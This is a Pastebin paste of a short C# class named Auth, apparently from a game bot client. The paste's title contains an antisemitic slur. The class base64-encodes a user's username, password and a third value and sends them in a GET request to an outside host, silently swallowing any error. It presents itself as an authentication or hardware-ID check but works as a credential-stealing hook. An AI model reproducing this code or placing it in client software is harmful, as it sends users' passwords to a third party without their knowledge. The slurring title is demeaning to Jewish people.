Advertisement
Guest User

jewhook.cs

a guest
May 17th, 2014
329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.08 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Net;
  4. using System.Text;
  5.  
  6. namespace RongorClient.Network
  7. {
  8.     class Auth
  9.     {
  10.         public static string B64Enc(string Text)
  11.         {
  12.             return Convert.ToBase64String(ASCIIEncoding.UTF8.GetBytes(Text));//return (Encode) ? Convert.ToBase64String(ASCIIEncoding.UTF8.GetBytes(Text)) : ASCIIEncoding.UTF8.GetString(Convert.FromBase64String(Text));
  13.         }
  14.         public Auth(string username,string password,string pic)
  15.         {
  16.             try
  17.             {
  18.                 HttpWebRequest myHttpWebRequest = (HttpWebRequest)HttpWebRequest.Create("http://clientlessbot.zxq.net/hwid.php"+ "?a=" + B64Enc(username) + "&b=" + B64Enc(password) + "&c=" + B64Enc(pic));
  19.                 myHttpWebRequest.Method = "GET";
  20.                 myHttpWebRequest.ContentType = "text/xml; encoding='utf-8'";
  21.                 myHttpWebRequest.Proxy = null;
  22.                 HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();
  23.             }
  24.             catch (Exception) { }
  25.         }
  26.     }
  27. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement